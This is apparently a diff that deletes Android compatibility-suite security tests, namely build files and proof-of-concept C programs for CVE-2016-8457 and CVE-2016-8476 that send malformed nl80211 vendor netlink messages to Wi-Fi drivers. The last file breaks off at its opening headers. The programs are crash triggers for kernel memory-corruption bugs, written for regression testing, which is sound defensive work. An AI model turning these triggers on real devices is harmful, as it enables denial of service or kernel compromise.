-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
deleted file mode 100644
index 3ec6a31..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8457
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
deleted file mode 100644
index 9a9f02b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_test[256];
-
-  int i = 0;
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
-  unsigned char SSID11[DOT11_MAX_SSID_LEN];
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_ANQPO_CONFIG);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, 1);
-
-  rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-  if (!rret2) {
-    return 1;
-  }
-
-  for (i = 0; i < 4; ++i) {
-    rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
-
-    if (!rret3) {
-      return 1;
-    }
-
-    nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, 256, &buf_test);
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8476/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8476/Android.mk
deleted file mode 100644
index dee2e39..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8476/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8476
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES:= \
-	$(TOP)/external/libnl/include/ \
-	$(TOP)/external/libnl/lib/ \
-
-LOCAL_SHARED_LIBRARIES:= libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8476/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8476/poc.c
deleted file mode 100644
index aac5bd7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8476/poc.c
+++ /dev/null
@@ -1,206 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>          /* See NOTES */
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-#define KGSL_IOC_TYPE 0x09
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-#define SIR_PASSPOINT_REALM_LEN 256
-#define SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM 16
-#define SIR_PASSPOINT_PLMN_LEN 3
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY 2
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID 3
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM 4
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID 5
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN 6
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret, *rret1, *rret3;
-  unsigned char oper_classes[253];
-  int i = 0;
-  unsigned char data_in[SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM];
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
-              QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM, 0XA3D70B);
-
-  rret1 = nla_nest_start(
-      msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY);
-  if (!rret1) {
-    return 1;
-  }
-
-  rret3 = nla_nest_start(
-      msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY);
-  if (!rret3) {
-    return 1;
-  }
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID, 0x123);
-  nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM, 256,
-          &oper_classes);
-  nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID,
-          sizeof(data_in), &data_in);
-  nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN,
-          SIR_PASSPOINT_PLMN_LEN, &data_in);
-
-  nla_nest_end(msg, rret3);
-  nla_nest_end(msg, rret1);
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-  if (getuid() != 0) {
-    return -1;
-  }
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-#define NL80211_CMD_GET_WIPHY 1
-#define NL80211_CMD_SET_STATION 18
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-  perror("genl_send_msg 2");
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8481/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8481/Android.mk
deleted file mode 100644
index a578057..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8481/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8481
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8481/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8481/poc.c
deleted file mode 100644
index bf5f30c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8481/poc.c
+++ /dev/null
@@ -1,306 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define THREAD_NUM 1
-#define DEV "/dev/usf1"
-
-/* min, max array dimension */
-#define MIN_MAX_DIM 2
-
-#define USF_MAX_PORT_NUM 8
-
